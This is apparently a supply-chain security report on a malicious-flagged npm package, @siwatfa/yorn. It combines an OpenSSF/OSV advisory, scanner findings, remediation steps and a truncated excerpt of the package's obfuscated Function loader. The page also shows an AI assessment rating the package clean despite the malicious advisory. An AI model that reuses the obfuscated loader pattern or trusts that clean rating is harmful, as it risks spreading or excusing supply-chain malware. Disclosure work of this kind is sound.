@siwatfa/yorn
This report shows the evidence for @siwatfa/yorn@1.0.103. 148 of 149 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 2mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-14102 confirms this npm version as malicious.
Advisory
MAL-2026-14102
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @siwatfa/yorn (npm)
Details
The package was found to contain malicious code or consuming dependency that contains malicious code
## Source: ghsa-malware (dc765ce6cbae92d77218173fda23eca5505d5dc8342010b79f87ad721aac882a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessment
CleanIndependent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.
The package is opaque but its observed entrypoint is user-invoked and it has no install lifecycle execution. The visible documentation and helpers align with a coding-agent CLI; inspection found no concrete malicious chain.
Static reason
No blocking static signals were detected.
Trigger
User runs the yorn command.
Impact
No concrete credential exfiltration, destructive action, persistence, or foreign agent-control mutation was established.
Mechanism
Obfuscated loader dispatches bundled V8 bytecode.
AI rationale
The package is opaque but its observed entrypoint is user-invoked and it has no install lifecycle execution. The visible documentation and helpers align with a coding-agent CLI; inspection found no concrete malicious chain.
Evidence
package.jsondist/load.cjsdist/load.jsdist/yorn.jscREADME.mddist/skills/screenshot/scripts/ensure_macos_permissions.shdist/skills/screenshot/scripts/take_screenshot.py
Independent scan evidence
public snapshotAI called this Clean at 72.0% confidence as Benign with medium false-positive risk.
Evidence for AI clean decision
- The CLI entrypoint is an obfuscated dynamic Function loader.
- The distributable includes opaque V8 bytecode (dist/yorn.jsc), limiting source transparency.
Evidence against
- No npm install, postinstall, or preinstall hook; only prepublishOnly is declared.
- The executable is a user-invoked yorn CLI.
- Documented credential storage and network use are provider/CLI-aligned.
- The screenshot helper explains and requests macOS permission only when explicitly run.
Behavioral surface
Eval
MinifiedPossibleObfuscationTrivial
Source & flagged code
6 flagged · loading sourcedist/load.jsView file
1#!/usr/bin/env node
L2: import"./load.cjs";Function("R_Nt2n","var KGPsyq,Gsr1K0V,eP2cbud,jLbwVW,WLjM3Tv,jUZdECy,kEyxTQ,fAkVql;function MmVbu9(KGPsyq){var Gsr1K0V=(KGPsyq|0x0)^0x9e3779b9,eP2cbud=0x243f6a88...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/load.jsView on unpkg · L1dist/yorn.jscView file
•path = dist/yorn.jsc
kind = node_bytecode
sizeBytes = 15524472
magicHex = [redacted]
High
dist/skills/screenshot/scripts/take_screenshot.pyView file
•path = dist/skills/screenshot/scripts/take_screenshot.py
kind = build_helper
sizeBytes = 19659
magicHex = [redacted]
Findings
4 High2 Medium3 Low
HighShips Node Bytecodedist/yorn.jsc
HighShips High Entropy Blobdist/skills/theme-factory/theme-showcase.pdf
HighAi Review Evidencepackage.json
HighAi Review Evidencedist/load.cjs
MediumShips Build Helperdist/skills/screenshot/scripts/take_screenshot.py
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/load.js
Affected versions and remediation
This report applies to @siwatfa/yorn@1.0.103.
The versions list below shows the verdict for each recorded version.
- Avoid installing @siwatfa/yorn@1.0.103. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.